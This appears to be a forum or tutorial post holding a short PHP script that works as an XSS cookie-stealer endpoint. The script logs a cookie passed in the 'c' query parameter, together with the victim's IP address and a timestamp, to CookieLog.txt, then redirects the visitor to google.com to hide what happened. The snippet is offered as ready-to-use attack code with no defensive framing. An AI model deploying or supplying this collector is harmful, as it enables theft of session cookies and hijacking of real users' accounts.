Code:
<?php
$cookie = urldecode($_GET['c']);
$fp = fopen("CookieLog.txt", "a");
$cookie = $cookie . ": ".$_SERVER['REMOTE_ADDR']." at ".date("r",time())."\n";
fwrite($fp, "$cookie \n");
fclose($fp);
header("Location: http://google.com ");
?>
Download files: